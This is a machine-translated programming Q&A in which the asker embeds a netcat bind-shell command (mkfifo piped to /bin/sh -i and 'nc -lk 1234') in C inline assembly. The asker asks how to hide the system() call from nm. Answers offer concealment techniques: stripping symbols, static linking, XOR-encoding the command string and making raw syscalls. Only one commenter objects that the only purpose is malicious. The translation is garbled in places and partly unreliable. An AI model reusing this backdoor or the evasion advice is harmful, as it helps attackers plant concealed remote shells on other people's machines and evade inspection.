调用C函数而不使用NM命令显示它们

调用C函数而不使用NM命令显示它们,c,assembly,C,Assembly,我有以下asm代码: int main(void) { __asm__(" subq $16, %rsp\n" "leaq L_.str(%rip), %rdi\n" "movb $0, %al\n" "callq _system\n" "xorl %ecx, %ecx\n" "movl %eax, -4(%rbp)\n"

我有以下asm代码:

int  main(void)
{
    __asm__("   subq    $16, %rsp\n"
            "leaq   L_.str(%rip), %rdi\n"
            "movb   $0, %al\n"
            "callq  _system\n"
            "xorl   %ecx, %ecx\n"
            "movl   %eax, -4(%rbp)\n" 
            "movl   %ecx, %eax\n"
            "addq   $16, %rsp\n"
            "popq   %rbp\n"
            ".section   __TEXT,__cstring,cstring_literals\n"
            "L_.str:\n"
            ".asciz \"rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc -lk 1234 > /tmp/f\"\n"
            "retq\n");
}
它等于:

system("rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc -lk 1234 > /tmp/f");
我正在使用C语言进行编译,当我编译这两种语言,并对可执行文件执行NM时,我们可以看到符号中的_系统函数

我的问题是:通过在ASM代码中执行某些操作,如何在NM命令中隐藏此符号?

一个选项是在链接后剥离二进制文件。这将删除符号表和所有符号。这可以通过在链接阶段传递
-s
或在生成的二进制文件上调用
strip
来实现


请注意,由于libc可能作为共享库加载,因此字符串
\u system
将出现在二进制文件中,以便在libc anyqay中查找它。为了消除这种情况,您还需要静态地链接libc(gcc为此接受
-static
)。然而,即使这样,通过跟踪系统调用,也很容易推断出程序在做什么(例如,使用
truss
)之类的实用程序。

您不能(直接)。
系统
调用需要精确的字符串。您可以编写某种翻译,它接受加密字符串,对其进行解密,然后调用
system
。如果你想达到这个程度。如果你关心的只是二进制的直接可视性,而不是简单地编码字符串,那么即使是简单的
xor 0xAA
也会让人看不懂。当然,它仍然会显示
strace
,因为您必须在发送到
系统之前对其进行解码。我认为甚至可以对行本身进行编码,这样系统就可以完成解码的最后部分,通过使用一些shell脚本来隐藏诸如“/tmp”之类的内容。无论如何,没有理由隐瞒这一点,除非它是恶意的,所以不要浪费你的时间,当你可以同时做一些好事的时候。生命是短暂的,打破现代太容易了。它只是为了教育目的,你有一个例子吗?基本上我不明白你为什么想要它。这并不是真的阻止任何熟练的人提取目标脚本,只是让它变得有点乏味,但它不像“保护”,它最多对孩子有好处。这就像每个公司都需要的魔法“模糊处理”,因为他们认为这是在做什么D最好的笑话,你可以卖给他们!!:D并且不便宜。:)荒谬…你不能,除非你有一个修改过的libc库。但是您可以直接发出系统调用,绕过libc和这些系统调用的名称。。。